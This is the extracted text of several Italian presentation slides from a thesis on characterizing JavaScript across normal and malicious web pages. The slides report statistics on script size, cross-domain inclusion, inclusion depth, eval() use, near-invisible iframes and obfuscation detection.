Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Caratterizzazione generale

Grafici di distribuzione cumulativa sulla somma delle dimensioni degliscript per pagina

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Normal → script dimensioni maggiori: Child Script

Malicious → script dimensioni maggiori: Embedded Script

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 41: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Inclusione di script da URL diversi

Quanto e diffusa l’inclusione di script da url diversi?

(c) Distribuzione nelle pagine Normal (d) Distribuzione nelle pagine Malicious

Normal:→ il 90% pagine include Embedded Script da un altro dominio→ il 20% pagine include Child Script da 2 domini diversi→ il 10% pagine include Child Script da 3 domini diversi

Malicious:→ minima percentuale di pagine include script da 2 domini diversi

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 42: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Profondita di inclusione a livello script

A che profondita di inclusione si arriva per includere script?Percentuale di script calcolata sul numero totale di script

(e) Distribuzione nelle pagine Normal (f) Distribuzione nelle pagine Malicious

Normal:→ l’85% degli script presenti ha profondita pari a 1→ ≈ 13% e caratterizzato da livello di profondita uguale a 2

Malicious:→ l’70% degli script presenti ha profondita pari a 1→ ≈ 30% e caratterizzato da livello di profondita uguale a 2Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 43: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Profondita di inclusione a livello script

A che profondita di inclusione si arriva per includere script?Percentuale di script calcolata sulla dimensione degli script

(g) Distribuzione nelle pagine Normal (h) Distribuzione nelle pagine Malicious

Normal:→ l’85% del codice incluso ha profondita 2

Malicious:→ la situazione non varia di molto rispetto al caso precedente

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 44: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Utilizzo di eval()

Quanto e diffuso l’utilizzo di eval()?

Normal:→ nel 2,7% delle pagine sono presenti script contenenti eval()

Malicious e Interesting:→ in piu dell’8% delle pagine sono presenti script contenenti eval()

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 45: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Utilizzo di eval()

Quanto e diffuso l’utilizzo di eval()?(con argomento superiore ai 140 caratteri)

Normal:→ quasi totalita di script contententi eval() e del tipo Child Script

Malicious:→ maggior numero di script contententi eval() fra gli Embedded Script

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 46: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Utilizzo di iframe sospettosamente piccoli

Quanto e diffusa l’inclusione di frame e iframe sospettosamente piccoli?

Normal:→ l’8,5% delle pagine include un frame o un iframe praticamente invisibile→ il 3% delle pagine ne include 2→ una minima percentuale di pagine arriva ad includerne 16

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 47: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati

Percentuali di script offuscati

Quanto e diffuso l’utilizzo di tecniche di offuscamento?

(i) Criterio “Soglie sulle features” (j) Criterio “Classificatore MLP”

Soglie sulle features:→ evidenzia offuscamento negli Embedded Script delle pagine Malicious

Classificatore MLP:→ evidenzia offuscamento quasi esclusivamente nei Child Script

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 48: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri

Gli sviluppi futuri

Nuove analisi:

1 nuove proprieta

⇒ possibile discernere pagine maligne da benigne?⇒ possibile classificare pagine senza disporre di liste aggiornate

sui siti infetti?

2 studio dell’aspetto dinamico della pagina

⇒ possibile distinguere manipolazioni fraudolente da legittime?

Sara Zambon Caratterizzazione dei codici JavaScript nel Web